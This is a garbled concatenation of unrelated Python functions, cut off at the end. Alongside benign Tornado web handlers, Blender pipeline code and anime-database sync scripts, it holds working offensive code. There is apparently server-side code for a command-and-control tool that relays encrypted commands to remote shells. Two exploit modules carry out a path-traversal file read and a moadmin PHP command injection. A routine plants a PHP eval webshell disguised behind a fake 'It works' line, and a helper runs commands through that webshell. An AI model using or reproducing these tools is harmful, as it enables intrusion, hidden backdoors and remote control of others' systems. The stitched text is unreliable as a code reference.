def save(self, button): Log.info('Clicked save button', origin='AddProjectForm') self.backend.new_project(name=self.name_entry.get_text(), description=self.description_entry.get_text()) # TODO: update the project tree view replace_widget(self, self.previous_widget) self.window.update_from_backend()
def parse_cmd(self, data): cmd = data.split(' ', 1)[0].lower() if not self.guid == '': if cmd == 'background': self._prompt = 'Main' self.db.remove_active_user(self.config.get('uid'), self.guid) self.guid = '' elif cmd == 'exit': UI.error('*** You really want to kill this shell *** (yes/no)') if UI.prompt('Exit').lower() == 'yes': self.db.push_cmd(self.guid, 'exit', Utils.guid(), self.config.get('username')) self._prompt = 'Main' self.guid = '' else: self.db.append_shell_data( self.guid, '[%s] %s Sending: \n%s\n\n' % (Utils.timestamp(), self.config.get('username'), data)) Log.log_shell(self.guid, 'Sending', data, self.config.get('username')) if self.shell_cmds.has_key(cmd): callback = self.shell_cmds[cmd] data = callback(data) if not (cmd == 'help' or data == ''): self.db.push_cmd(self.guid, data, Utils.guid(), self.config.get('username')) else: # interacting with the main console if self.cmds.has_key(cmd): callback = self.cmds[cmd] callback(data) elif not cmd.strip() == '': UI.error('%s is not a valid command' % cmd)
def do_POST(self): guid = "" try: guid = self.path.split('?', 1)[1] except: Log.log_error("Invalid request no GUID", self.path) self.return_data() return self.db.update_checkin(guid) length = int(self.headers.getheader("Content-Length")) data = self.rfile.read(length) try: data = self.rc4.crypt(base64.b64decode(data)) except: Log.log_error("Invalid base64 data received", self.path) self.return_data() return parser = HTTPDParser(config) self.output = base64.b64encode( self.rc4.crypt(parser.parse_cmd(guid, data))) self.return_data()
def post(self): oname = self.get_username() ipAddress = self.get_argument("ipAddress", None) ename = self.get_argument("ename", None) tusername = self.get_argument("tusername", None) tpassword = self.get_argument("tpassword", None) if not tusername or not tpassword: # do something self.flash.error = "You must enter a username and password to proceed. Please try again." self.redirect("/add_exchange") return if tpassword != self.get_argument("tpassword2", None): self.flash.error = "Passwords do not match. Please try again." self.redirect("/add_exchange") return Exchange.insert(ename, oname, ipAddress) rpc = TelnetRpcClient(options.service_ip) msg = json.dumps({'fileadd':options.telnet_key_dir, \ 'ipadd':ipAddress,'username':tusername,"password":tpassword}) from util import encrypt_util encoded = encrypt_util.encode(msg) response = rpc.call("key_queue", encoded) Log.info(response) ##加密传输入保存 self.redirect("/get_exchanges")
class Library(object): def __init__(self, library): self._library = library self._asset = None # Asset cache self.log = Log() self.snapshot = connections.Connector() def __repr__(self): return self._library.filepath @property def asset(self): import os # Figure out what asset this library refers to if not self._asset: filepath = os.path.split(self._library.filepath)[0] # Get the asset data associated with this linked library code = os.path.normpath(filepath).split(os.path.sep)[-1:][0] type_secondary = os.path.normpath(filepath).split(os.path.sep)[-2:-1][0] type_primary = os.path.normpath(filepath).split(os.path.sep)[-3:-2][0] show = os.path.normpath(filepath).split(os.path.sep)[-4:-3][0] self.log.info(", ".join([show, type_primary, type_secondary, code])) self._asset = self.snapshot.asset( code=code, type_primary=type_primary, type_secondary=type_secondary, show=show ) return self._asset @property def filepath(self): return self._library.filepath
def do_POST(self): if self.path.split("/")[1] == "api": server_api = ServerApi(self.config, self) self.output = server_api.process() self.return_json() return length = 0 if not self.headers.getheader("Content-Length") == None: length = int(self.headers.getheader("Content-Length")) data = self.rfile.read(length) try: data = json.loads(data) data["Data"] = self.rc4.crypt(base64.b64decode(data["Data"])) except: Log.log_error("Invalid base64 data received or bad decryption", self.path) self.return_data() return guid = "" try: guid = Utils.validate_guid(data["ID"]) except: Log.log_error("Invalid request no GUID", self.path) self.return_data() return if not guid == None: self.db.update_checkin(guid) parser = HTTPDParser(config) output = parser.parse_cmd(guid, data["Data"], data["UUID"]) if not output == None: uuid = output[:36] output = output[37:] self.output = base64.b64encode(self.rc4.crypt(output)) self.output = json.dumps({ "UUID": uuid, "ID": guid, "Data": self.output }) else: self.output = json.dumps({ "UUID": None, "ID": guid, "Data": Utils.gen_str(random.randrange(10, 1000)) }) self.return_json() return else: self.output = Utils.load_file( "html/%s" % self.config.get("http-default-404")) self.return_data()
def exploit(self): ''' 漏洞利用的核心代码, 在此函数中完成漏洞利用 ''' host = self.get_config("remote_host") port = self.get_config("remote_port") file = self.get_config("file") if not self.login(): Log.error("Login failed!") return False Log.success("Login successful!") url = "http://%s:%d/components/filemanager/download.php?path=../../../../..%s&type=undefined" % ( host, port, file) try: response = self.session.get(url) if response.status_code == 200: Log.success("Exploit success!") Log.info(">>>>>> %s <<<<<<" % (file)) print("%s" % color.blue(response.content)) return True else: return False except Exception as e: Log.error(str(e)) return False
def create(self, table, fields, types): sql = MiniDBMS.CREATE % ( table, MiniDBMS.sql_structure_generator(fields, types)) Log._(sql, Log.ORDINARY) state = self._execute(sql) self._commit() return state
def parse_cmd(self, data): cmd = data.split(" ", 1)[0].lower() # interacting with a shell if not self.guid == "": if cmd == "background": self._prompt = "Main" self.guid = "" elif cmd == "exit": UI.error("*** You really want to kill this shell *** (yes/no)") if UI.prompt("Exit").lower() == "yes": self.db.push_cmd(self.guid, "exit") self._prompt = "Main" self.guid = "" else: Log.log_shell(self.guid, "Sending", data) if self.shell_cmds.has_key(cmd): callback = self.shell_cmds[cmd] data = callback(data) if not (cmd == "help" or data == ""): self.db.push_cmd(self.guid, data) self.get_cmd_output() # interacting with the main console else: if self.cmds.has_key(cmd): callback = self.cmds[cmd] callback(data) else: UI.error("%s is not a valid command" % cmd)
def update(self, table, fields, data): sql = MiniDBMS.UPDATE % ( table, MiniDBMS.sql_assignment_generator(fields, data)) Log._(sql, Log.ORDINARY) state = self._execute(sql) self._commit() return state
def do_POST(self): if self.path.split('/')[1] == 'api': server_api = ServerApi(self.config, self) self.output = server_api.process() self.return_json() return length = 0 if not self.headers.getheader('Content-Length') == None: length = int(self.headers.getheader('Content-Length')) data = self.rfile.read(length) try: data = json.loads(data) data['Data'] = self.rc4.crypt(base64.b64decode(data['Data'])) except: Log.log_error('Invalid base64 data received or bad decryption', self.path) self.return_data() return guid = '' try: guid = Utils.validate_guid(data['ID']) except: Log.log_error('Invalid request no GUID', self.path) self.return_data() return if not guid == None: self.db.update_checkin(guid, str(self.client_address[0])) parser = HTTPDParser(config) output = parser.parse_cmd(guid, data['Data'], data['UUID']) if not output == None: uuid = output[:36] output = output[37:] self.output = \ base64.b64encode(self.rc4.crypt(output)) self.output = json.dumps({ 'UUID': uuid, 'ID': guid, 'Data': self.output }) else: self.output = json.dumps({ 'UUID': None, 'ID': guid, 'Data': Utils.gen_str(random.randrange(10, 1000)) }) self.return_json() return else: self.output = Utils.load_file( 'html/%s' % self.config.get('http-default-404')) self.return_data()
def post(self): oname = self.get_username() ipAddress = self.get_argument("ipAddress", None) ename = self.get_argument("ename", None) tusername = self.get_argument("tusername", None) tpassword = self.get_argument("tpassword", None) if not tusername or not tpassword: # do something self.flash.error = "You must enter a username and password to proceed. Please try again." self.redirect("/add_exchange") return if tpassword != self.get_argument("tpassword2", None) : self.flash.error = "Passwords do not match. Please try again." self.redirect("/add_exchange") return Exchange.insert(ename,oname,ipAddress) rpc = TelnetRpcClient(options.service_ip) msg = json.dumps({'fileadd':options.telnet_key_dir, \ 'ipadd':ipAddress,'username':tusername,"password":tpassword}) from util import encrypt_util encoded = encrypt_util.encode(msg) response = rpc.call("key_queue",encoded) Log.info(response) ##加密传输入保存 self.redirect("/get_exchanges")
def do_POST(self): if self.path.split("/")[1] == "api": server_api = ServerApi(self.config, self) self.output = server_api.process() self.return_json() return guid = "" try: guid = Utils.validate_guid(self.path.split('?', 1)[1]) except: Log.log_error("Invalid request no GUID", self.path) self.return_data() return if not guid == None: self.db.update_checkin(guid) length = 0 if not self.headers.getheader("Content-Length") == None: length = int(self.headers.getheader("Content-Length")) data = self.rfile.read(length) try: data = self.rc4.crypt(base64.b64decode(data)) except: Log.log_error("Invalid base64 data received", self.path) self.return_data() return parser = HTTPDParser(config) self.output = base64.b64encode(self.rc4.crypt(parser.parse_cmd(guid, data))) else: self.output = Utils.load_file("html/%s" % self.config.get("http-default-404")) self.return_data()
def end_task(self, task_id) -> Response: try: self.taskManager.remove_task(task_id) return Response(True, None) except IdError as e: Log.error(e) return Response(False, None, e)
def exploit(self): ''' 漏洞利用的核心代码, 在此函数中完成漏洞利用 ''' Log.info("Lauching the exploition...") host = self.get_config("remote_host") port = self.get_config("remote_port") path = self.get_config("path") command = self.get_config("command") url = "http://%s:%d/%s/moadmin.php?collection=1" % (host, port, path) data = { "object": "1;system(base64_decode('%s'));die();" % (command.encode("base64").replace("\n", "")) } Log.info("Url: %s" % (url)) Log.info("Data: %s" % (data)) try: response = requests.post(url, data=data) if response.status_code == 200: Log.success("Exploit success!") print "%s" % (color.blue(response.content)) return True else: return False except Exception as e: Log.error(str(e)) return False
def set_user(self): self.session['authenticated'] = True self.session['uid'] = Utils.guid() self.session['username'] = request.form['username'].strip() self.session['password'] = hashlib.sha512(request.form['password'].strip()).hexdigest() self.active_users.append(str(self.session['username'])) Log.log_event('User Login', '%s' % str(self.session['username']))
def parse_cmd(self, data): cmd = data.split(" ", 1)[0].lower() if not self.guid == "": if cmd == "background": self._prompt = "Main" self.db.remove_active_user(self.config.get("uid"), self.guid) self.guid = "" elif cmd == "exit": UI.error("*** You really want to kill this shell *** (yes/no)") if UI.prompt("Exit").lower() == "yes": self.db.push_cmd(self.guid, "exit", Utils.guid(), self.config.get("username")) self._prompt = "Main" self.guid = "" else: self.db.append_shell_data(self.guid, "[%s] %s - Sending command: \n%s\n\n" % (Utils.timestamp(), self.config.get("username"), data)) Log.log_shell(self.guid, "- Sending command", data, self.config.get("username")) if cmd in self.shell_cmds: callback = self.shell_cmds[cmd] data = callback(data) if not (cmd == "help" or data == ""): self.db.push_cmd(self.guid, data, Utils.guid(),self.config.get("username")) else: # interacting with the main console if cmd in self.cmds: callback = self.cmds[cmd] callback(data) elif not cmd.strip() == "": UI.error("%s is not a valid command" % cmd)
def screenshot(self, guid, data): (cmd, data) = data.split(" ", 1) shell = self.db.get_prompt(guid).decode().split(" ")[1] Log.log_event("Screenshot", "Received (%s)" % shell) self.db.append_shell_data( guid, "[%s] Screenshot Received\n\n" % (Utils.timestamp())) Log.log_screenshot(guid, data)
def sql_structure_generator(cls, fields, types): structures = [ MiniDBMS.DECLARATION % (f, t) for f, t in zip(fields, types) ] structure = MiniDBMS.SUBSEPARAOR.join(structures) Log._(structure, Log.VORBOSE) return structure
def php_command_exec(self, function, command): try: tick = random_string(3, string.letters) token = random_string(32, string.letters) if self.method == "POST": data = { self.password: "******" + token + "';" + function + "($_POST[" + tick + "]);echo '" + token + "';", tick: command + " 2>&1" } response = requests.post(self.url, data=data) elif self.method == "GET": params = { self.password: "******" + token + "';" + function + "($_GET[" + tick + "]);echo '" + token + "';", tick: command + " 2>&1" } response = requests.get(self.url, params=params) else: return (False, "Unsupported method!") content = response.text if token in content: return (True, content.split(token)[1]) else: return (False, content) except Exception as e: Log.error(e) return (False, e)
class Library(object): def __init__(self, library): self._library = library self._asset = None # Asset cache self.log = Log() self.snapshot = connections.Connector() def __repr__(self): return self._library.filepath @property def asset(self): import os # Figure out what asset this library refers to if not self._asset: filepath = os.path.split(self._library.filepath)[0] # Get the asset data associated with this linked library code = os.path.normpath(filepath).split(os.path.sep)[-1:][0] type_secondary = os.path.normpath(filepath).split( os.path.sep)[-2:-1][0] type_primary = os.path.normpath(filepath).split( os.path.sep)[-3:-2][0] show = os.path.normpath(filepath).split(os.path.sep)[-4:-3][0] self.log.info(", ".join([show, type_primary, type_secondary, code])) self._asset = self.snapshot.asset(code=code, type_primary=type_primary, type_secondary=type_secondary, show=show) return self._asset @property def filepath(self): return self._library.filepath
def set_user(self): password = request.form["password"].strip().encode("utf-8") self.session["authenticated"] = True self.session["uid"] = Utils.guid() self.session["username"] = request.form["username"].strip() self.session["password"] = hashlib.sha512(password).hexdigest() self.active_users.append(self.session["username"]) Log.log_event("User Login", "%s" % str(self.session["username"]))
def send_cmd(self, id, cmd, username,): output, cmd = self.shell.evalute_cmd(cmd) cmd_guid = Utils.guid() self.redis.append_shell_data(id, "[%s] %s - Sending command: %s\n%s\n\n" % (Utils.timestamp(), username, output, cmd)) Log.log_shell(id, "- Sending command", "%s\n%s" % (output, cmd), username=username) if not cmd == "": self.redis.push_cmd(id, cmd, cmd_guid, username) return json.dumps({"output": output})
def hash_remote_file(self, path): result = self.php_code_exec_token("echo md5(file_get_contents('%s'));" % (path)) if result[0]: content = result[1] return content else: Log.error("Some error occured when exec php code...") return ""
def auto_inject_webshell(self, filename, password): # TODO : remove arg filename webshell_content = "<?php eval($_REQUEST['%s']);?>" % (password) fake_content = "<?php print_r('It works');?>" padding = " " * (len(webshell_content) - len(fake_content)) content = webshell_content + "\r" + fake_content + padding + "\n" urls = self.auto_inject_phpfile(filename, content) Log.success("Inject success : \n%s" % (urls))
def insert(self, table, data): sql = MiniDBMS.INSERT % (table, MiniDBMS.sql_placeholder_generator( max([len(d) for d in data]))) Log._(sql, Log.ORDINARY) state = self._batch_execute(sql, data) self._commit() return state
def register(self, guid, data): cmd, guid, prompt = data.split(" ", 2) self.db.set_prompt(guid, prompt) index = self.db.get_id(guid) print "" UI.success("Registering new shell %s" % prompt) UI.success("New shell ID %s GUID is %s" % (index, guid)) Log.log_event("New Shell", data)
def auto_exec_print(self, command): result = self.auto_exec(command) if result[0]: Log.success("Result : \n%s" % (repr(result[1][0:-1])).replace("\\n", "\n")[2:-1]) else: Log.error("Error occured! %s" % (repr(result[1][0:-1])).replace("\\n", "\n")[2:-1])
def logout(self): try: self.active_users.remove(str(self.session['username'])) Log.log_event('User Logout', '%s' % str(self.session['username'])) self.session.pop('username') self.session.pop('authenticated') except: pass
def page(self): start = (self.page_number - 1) * self.limit end = start + self.limit try: list = self.collection[start:end] return list except Exception as detail: Log.warning(detail) return []
def sql_assignment_generator( cls, fields, data ): #todo: more perfecter(correct value format according to filed type of each field) assignments = [ MiniDBMS.ASSIGNMENT % (f, d) for f, d in zip(fields, data) ] assignment = MiniDBMS.SEPARATOR.join(assignments) Log._(assignment, Log.VORBOSE) return assignment
def set_config(self, key, value): ''' 对模块的参数进行修改 由 set 命令触发 通常不需要改动 ''' if key in self.config.keys(): self.config[key]["default"] = value else: Log.error("No such option!")
def dispatch(self, frame): data = frame[-1] frame.remove(data) try: request = protocol.Request.loads(data) executor.submit(_async_run, self, request, self.send, frame) Log.get_logger().debug('[request] mid: %s call_at: %f expire_at: %f ***** %s.%s(%s, %s)', request.mid, request.call_at, request.expire_at, request.klass, request.method, request.args, request.kwargs) except Exception, e: Log.get_logger().exception(e)
def parse_cmd(self, guid, data): cmd = data.split(" ", 1)[0].lower() if self.cmds.has_key(cmd): callback = self.cmds[cmd] callback(guid, data) else: # I assume we got command output here and save it if not data.strip() == "": self.db.push_output(guid, data) Log.log_shell(guid, "Received", data) return self.output
def set_bandwidth_job(): from models.order import Order from models.product import Product from models.exchange import Exchange from client.rpc_client import TelnetRpcClient from tornado.options import options import json from util import encrypt_util Log.info(" [x] Requesting") Log.info('set_bandwidth_job start at ', datetime.datetime.now()) need_do = '' Log.info("请异步发送") orders = Order.get_working_orders() for order in orders: product = Product.lookup(order['p_id']) exchange = Exchange.lookup(product['e_id']) need_do = need_do+json.dumps({'switch_name':exchange['ename'],"vlan":product['vlan'], \ "port_name":product['port'], "host":exchange['ipAddress'], \ "bandwidth":order['bandwidth']}) Order.finish_order(order['_id']) need_back='' orders = Order.get_back_orders() for order in orders: product = Product.lookup(order['p_id']) exchange = Exchange.lookup(product['e_id']) need_back = need_back+json.dumps({'switch_name':exchange['ename'],"vlan":product['vlan'], \ "port_name":product['port'], "host":exchange['ipAddress'], \ "bandwidth":order['bandwidth']}) Order.back_order(order['_id']) orders = {} flag = False if(need_do!=''): orders['need_do']=need_do flag = True if(need_back!=''): orders['need_back']=need_back flag = True if(flag!=True): rpc = TelnetRpcClient(options.service_ip) encoded = encrypt_util.encode(str(orders)) response = rpc.call("rpc_queue",encoded) Log.info('set_bandwidth_job end at ', datetime.datetime.now()) Log.info(response) # rpc = TelnetRpcClient('192.168.0.2') # orders = Order.get_working_orders() # for order in orders: # product = Product.lookup(order['p_id']) # exchange = Exchange.lookup(product['e_id']) # response = rpc.call(json.dumps({'switch_name':'TelnetManage3560', "vlan":product['vlan'], # "port_name":product['port'], "host":exchange['ipAddress'], "bandwidth":product['ctype']*order['percent']/100})) print 'set_bandwidth_job end at ', datetime.datetime.now()
def _async_run(handler, request, callback, frame): tik = time.time() response = protocol.Response.to(request) try: klass = request.klass method = request.method args = request.args kwargs = request.kwargs expire_at = request.expire_at call_at = request.call_at if WASTE_GAP and tik - call_at > WASTE_GAP: # 设置WASTE_GAP意味着被调用请求到收到请求耗时超过WASTE_GAP秒,则不处理了 Log.get_logger().debug('[abandon] mid: %s call_at: hands_on_at: %f', response.mid, request.call_at, tik) return func = handler.get_ref(klass, method, args, kwargs) res = func() tok = time.time() costs = tok - tik response.set_result(res) response.set_costs(costs) if tok > expire_at > 0: Log.get_logger().debug('[timeout] mid: %s call_at: %f expire_at: %f hands_on_at: %f done_at: %f costs: %f', response.mid, request.call_at, request.expire_at, tik, tok, costs) return Log.get_logger().debug('[response] mid: %s status: %d costs: %f', response.mid, response.status, costs) except Exception as e: tok = time.time() costs = tok - tik response.set_error(e) response.set_costs(costs) Log.get_logger().exception(e) frame.append(response.box()) IOLoop.instance().add_callback(callback, frame)
def get(self): oname = self.get_username() template_values = {} #page info page = self.get_argument('page', 1) page = page if page >= 1 else 1 #get the document count param count = self.get_argument('count', 10) count = count if count >= 1 else 10 Log.info("got some exchange massage") exchanges = Exchange.get_exchanges(oname) paginator = Paginator(exchanges, page, count, len(exchanges)) template_values['paginator'] = paginator template_values['status'] = '' self.render_template('/site/exchange.html', **template_values)
def setUp(self): AbstractAPI.CACHE['http://www.animeseason.com/anime-list/'] = open( "../cache/animeseason.anime-list.html").read() AbstractAPI.CACHE['http://www.animeseason.com/gosick/'] = open("../cache/animeseason.gosick.html").read() self.api = AnimeSeason() self.log = Log.create_log(__name__)
def view_event(self, data): log_path = Utils.get_arg_at(data, 1, 2) if log_path == "": UI.error("Missing arguments") return log_path += ".log" rows = Utils.get_arg_at(data, 2, 2) if rows == "": rows = 10 else: try: rows = int(rows) except: rows = 10 log_path = Log.get_current_path(log_path) data = [] if Utils.file_exists(log_path): for line in open(log_path, "rb").readlines(): data.append(line) print "\nLast %d lines of log\n-----------------------\n" % rows data = list(reversed(data)) for i in range(0, rows): try: print data[i] except: pass
def post(self): e_id = self.get_argument('e_id') e = Exchange.lookup(e_id) tusername = self.get_argument('username') newPw = self.get_argument('new_pw') newPw2 = self.get_argument('new_pw_again') if newPw != newPw2 : self.flash.error = "Passwords do not match, please try again" self.redirect("/exchange_up") return tpassword =newPw rpc = TelnetRpcClient(options.service_ip) msg = json.dumps({'fileadd':options.telnet_key_dir,'ipadd':e['ipAddress'],'username':tusername,"password":tpassword}) from util import encrypt_util encoded = encrypt_util.encode(msg) response = rpc.call("key_queue",encoded) Log.info(response) self.flash.success = "Successfully updated password" self.redirect('/exchange_up')
def main(self, path): #import tornado stuff import tornado.web, tornado.httpserver, tornado.ioloop, tornado.options from tornado.options import options from config import options_setup from db.mongo import Mongo #parse the app config tornado.options.parse_config_file(os.path.join(path, 'config/settings.py')) #parse the command line args tornado.options.parse_command_line() #connect to our db using our options set in settings.py Mongo.create(host=options.db_host, port=options.db_port) #init our url routes url_routes = self.init_routes() #init a logger self.init_logging(options.log) #add in any app settings settings = { "static_path": options.static_path, "cookie_secret": options.cookie_secret, "login_url": options.login_url, } #setup the controller action routes #tornado.process.fork_processes(0) self.application = tornado.web.Application(url_routes, **settings) self.application.pika = PikaClient() #instantiate a server instance http_server = tornado.httpserver.HTTPServer(self.application) #bind server to port http_server.listen(options.port) dss_jobs() #log our start message Log.info("Ready and listening") #start the server tornado.ioloop.IOLoop.instance().start()
def post(self): oname = self.get_username() ename = self.get_argument("ename", None) status = self.get_argument("status", None) template_values = {} #page info page = self.get_argument('page', 1) page = page if page >= 1 else 1 #get the document count param count = self.get_argument('count', 10) count = count if count >= 1 else 10 Log.info("got some exchange massage") if status is not None: template_values['status'] = status else: template_values['status'] = '' exchanges = Exchange.get_condition_exchanges(oname,ename,template_values['status']) paginator = Paginator(exchanges, page, count, len(exchanges)) template_values['paginator'] = paginator template_values['ename'] = ename self.render_template('/site/exchange.html', **template_values)#/site/bandwidth.html
class Playblast(object): """ This is a stand-in class that needs to be replaced - placeholder for now """ def __init__(self, asset): self.asset = asset self.log = Log() def __str__(self): return "%s - playblast" % asset.code def execute(self): """ Do playblast here :return: """ self.log.info("Playblasting %s" % self.asset.code) @property def movie(self): return Movie(self)
def main(self): import tornado.web import tornado.httpserver import tornado.ioloop import tornado.options from tornado.options import options import config.options from core.log import Log from core.database import MongoDB from utils.mail import Mailer tornado.options.parse_config_file(os.path.join(os.path.dirname(__file__),'config/settings.py')) tornado.options.parse_command_line() self.init_logging(options.log) MongoDB.create(host=options.db_host, port=options.db_port) Mailer.create_mailer() url_routes = self.init_routes() settings = dict( template_path = options.template_dir, static_path = options.static_path, cookie_secret = options.cookie_secret, login_url = '/login', debug = options.debug ) http_server = tornado.httpserver.HTTPServer(tornado.web.Application(url_routes, **settings)) http_server.listen(options.port) Log.info("Ready and listening") tornado.ioloop.IOLoop.instance().start()
def do_POST(self): guid = "" try: guid = self.path.split('?', 1)[1] except: Log.log_error("Invalid request no GUID", self.path) self.return_data() return self.db.update_checkin(guid) length = int(self.headers.getheader("Content-Length")) data = self.rfile.read(length) try: data = self.rc4.crypt(base64.b64decode(data)) except: Log.log_error("Invalid base64 data received", self.path) self.return_data() return parser = HTTPDParser(config) self.output = base64.b64encode(self.rc4.crypt(parser.parse_cmd(guid, data))) self.return_data()
def on_read(self): try: bevent, endpoint = self._visor.recv_multipart() event, _ = struct.unpack('=hi', bevent) if event & zmq.EVENT_CONNECTED: Log.get_logger().debug('[%s] connection available' % endpoint) if hasattr(self, 'available_cb'): self.available_cb() if event & zmq.EVENT_DISCONNECTED: Log.get_logger().debug('[%s] connection unavailable' % endpoint) if hasattr(self, 'unavailable_cb'): self.unavailable_cb() except Exception as e: Log.get_logger().debug(e)
def __init__(self, root_url = settings.ROOT_URL): self.root_url = root_url self.urls = settings.URLS self.users_url = "%s%susers/" %(self.root_url, find_key(self.urls, "users")) self.preferences_url = "%s%spreferences/" %(self.root_url, find_key(self.urls, "preferences")) self.show_url = "%s%sshow/" %(self.root_url, find_key(self.urls, "show")) self.assets_url = "%s%sassets/" %(self.root_url, find_key(self.urls, "assets")) self.versions_url = "%s%sversions/" %(self.root_url, find_key(self.urls, "versions")) self.movies_url = "%s%smovies/" %(self.root_url, find_key(self.urls, "movies")) self.images_url = "%s%simages/" %(self.root_url, find_key(self.urls, "images")) self.companies_url = "%s%scompanies/" %(self.root_url, find_key(self.urls, "companies")) self.layer_url = "%s%slayer/" %(self.root_url, find_key(self.urls, "layer")) self.render_url = "%s%srender/" %(self.root_url, find_key(self.urls, "render")) self.renderfarm_url = "%s%srenderfarm/" %(self.root_url, find_key(self.urls, "renderfarm")) self.action_url = "%s%saction/" %(self.root_url, find_key(self.urls, "action")) self.camera_url = "%s%scamera/" %(self.root_url, find_key(self.urls, "camera")) self.group_url = "%s%sgroup/" %(self.root_url, find_key(self.urls, "group")) self.material_url = "%s%smaterial/" %(self.root_url, find_key(self.urls, "material")) self.scene_url = "%s%sscene/" %(self.root_url, find_key(self.urls, "scene")) self.world_url = "%s%sworld/" %(self.root_url, find_key(self.urls, "world")) self.session = requests.Session() self.log = Log()
def __init__(self, db): self.db = db self.api = api.AnimeNewsNetwork() self.log = Log.create_log(__name__)
def __init__(self, module): # Initialize the Logger object self.log = Log.create_log(module)
""" Tangent Animation blender startup script. Sets parameters for the Studio """ __author__ = 'Jeff.Bell' import bpy from core.log import Log # Initialize the log log = Log() log.info("Starting Tangent Animation pipeline configuration") log.info("Setting some UI defaults") bpy.data.use_autopack = False # Turn off auto-packing of images, etc bpy.context.user_preferences.filepaths.use_relative_paths = False # Don't use relative paths bpy.context.user_preferences.system.use_scripts_auto_execute = True # Auto-execute python scripts bpy.context.user_preferences.system.use_scripts_auto_execute = True # Auto-execute python scripts bpy.context.user_preferences.system.audio_sample_rate = "RATE_48000" # Default audio sampling rate # Toggle system console off to prevent user from accidentally closing Blender log.info("Toggling the system console") bpy.ops.wm.console_toggle() # Auto load some addons at startup addon_startup_list = [ #"amaranth", "animation_motion_trail", "bone_selection_groups", "dynamic_parent", "mesh_summary_102", "meshlint",
def __init__(self, db): self.api = AniDB() self.db = db self.log = Log.create_log(__name__)
def init_logging(self, log): if log == 'db': Log.create() else: Log.create('FILE', log)
def __init__(self, asset): self.asset = asset self.log = Log()
def __init__(self, db, api): self.log = Log.create_log(__name__) self.db = db self.api = api
from db.mysql import Database # Load the local cache into memory AbstractAPI.CACHE["http://anidb.net/api/animetitles.xml.gz"] = open("cache/anidb.anime-titles.xml").read() AbstractAPI.CACHE["http://www.animeseason.com/anime-list/"] = open("cache/animeseason.anime-list.html").read() AbstractAPI.CACHE["http://myanimelist.net/malappinfo.php?u=coty9090&status=all&type=anime"] = \ open("cache/mal.malappinfo.xml").read() AbstractAPI.CACHE["http://www.animenewsnetwork.com/encyclopedia/reports.xml?id=155&nlist=all&type=anime"] = \ open("cache/ann.reports.all.xml").read() parser = argparse.ArgumentParser(description="Sync the animehunt database.") #parser.add_argument('api', metavar='api', type=str, help="the api to use for the sync operation") #parser.add_argument('--titles', dest='ops', type=str, const="all", default="all", help="a database sync operation") #args = parser.parse_args() log = Log.create_log("sync") db = Database(**SETTINGS['db']) api = { 'as': api.AnimeSeason(), 'mal': api.MyAnimeList(**SETTINGS['mal']), 'anidb': api.AniDB(), 'ann': api.AnimeNewsNetwork()} ops = { 'as': ops.AnimeSeasonOperations(db), 'mal': ops.MALOperations(db, api['mal']), 'anidb': ops.AniDBOperations(db), 'ann': ops.AnimeNewsNetworkOperations(db)}
class __Connector: def __init__(self, root_url = settings.ROOT_URL): self.root_url = root_url self.urls = settings.URLS self.users_url = "%s%susers/" %(self.root_url, find_key(self.urls, "users")) self.preferences_url = "%s%spreferences/" %(self.root_url, find_key(self.urls, "preferences")) self.show_url = "%s%sshow/" %(self.root_url, find_key(self.urls, "show")) self.assets_url = "%s%sassets/" %(self.root_url, find_key(self.urls, "assets")) self.versions_url = "%s%sversions/" %(self.root_url, find_key(self.urls, "versions")) self.movies_url = "%s%smovies/" %(self.root_url, find_key(self.urls, "movies")) self.images_url = "%s%simages/" %(self.root_url, find_key(self.urls, "images")) self.companies_url = "%s%scompanies/" %(self.root_url, find_key(self.urls, "companies")) self.layer_url = "%s%slayer/" %(self.root_url, find_key(self.urls, "layer")) self.render_url = "%s%srender/" %(self.root_url, find_key(self.urls, "render")) self.renderfarm_url = "%s%srenderfarm/" %(self.root_url, find_key(self.urls, "renderfarm")) self.action_url = "%s%saction/" %(self.root_url, find_key(self.urls, "action")) self.camera_url = "%s%scamera/" %(self.root_url, find_key(self.urls, "camera")) self.group_url = "%s%sgroup/" %(self.root_url, find_key(self.urls, "group")) self.material_url = "%s%smaterial/" %(self.root_url, find_key(self.urls, "material")) self.scene_url = "%s%sscene/" %(self.root_url, find_key(self.urls, "scene")) self.world_url = "%s%sworld/" %(self.root_url, find_key(self.urls, "world")) self.session = requests.Session() self.log = Log() def __str__(self): return self.root_url #DJANGO APP: users def users( self, users_url = None, ): if not users_url: users_url = self.users_url query_strings = [] if query_strings: users_url = "%s?%s" % (users_url, "&".join(query_strings)) self.log.info("Getting: %s" %users_url) response = self.session.get(users_url) if response.status_code == 200: users = json.loads(response.text, object_hook = deserializers.decode_users) return users else: self.log.info(users_url) self.log.info(response.reason, response.status_code) self.log.info(response.text[0:100]) return None #DJANGO APP: shows def preferences( self, preferences_url = None, res_render_x = None, res_render_y = None, res_playblast_x = None, res_playblast_y = None, timebase = None, codec = None, p_drive = None, p_drive_linux = None, p_project = None, p_render = None, p_review = None, p_comp = None, p_media = None, p_publish = None, p_sandbox = None, show = None, ): if not preferences_url: preferences_url = self.preferences_url query_strings = [] if res_render_x: query_strings.append("res_render_x=%s" % res_render_x) if res_render_y: query_strings.append("res_render_y=%s" % res_render_y) if res_playblast_x: query_strings.append("res_playblast_x=%s" % res_playblast_x) if res_playblast_y: query_strings.append("res_playblast_y=%s" % res_playblast_y) if timebase: query_strings.append("timebase=%s" % timebase) if codec: query_strings.append("codec=%s" % codec) if p_drive: query_strings.append("p_drive=%s" % p_drive) if p_drive_linux: query_strings.append("p_drive_linux=%s" % p_drive_linux) if p_project: query_strings.append("p_project=%s" % p_project) if p_render: query_strings.append("p_render=%s" % p_render) if p_review: query_strings.append("p_review=%s" % p_review) if p_comp: query_strings.append("p_comp=%s" % p_comp) if p_media: query_strings.append("p_media=%s" % p_media) if p_publish: query_strings.append("p_publish=%s" % p_publish) if p_sandbox: query_strings.append("p_sandbox=%s" % p_sandbox) if show: query_strings.append("show=%s" % show) if query_strings: preferences_url = "%s?%s" % (preferences_url, "&".join(query_strings)) self.log.info("Getting: %s" %preferences_url) response = self.session.get(preferences_url) if response.status_code == 200: preferences = json.loads(response.text, object_hook = deserializers.decode_preferences) return preferences else: self.log.info(preferences_url) self.log.info(response.reason, response.status_code) self.log.info(response.text[0:100]) return None def show( self, show_url = None, code = None, name = None, created = None, modified = None, company = None, preferences = None, assets = None, ): if not show_url: show_url = self.show_url query_strings = [] if code: query_strings.append("code=%s" % code) if name: query_strings.append("name=%s" % name) if created: query_strings.append("created=%s" % created) if modified: query_strings.append("modified=%s" % modified) if company: query_strings.append("company=%s" % company) if preferences: query_strings.append("preferences=%s" % preferences) if assets: query_strings.append("assets=%s" % 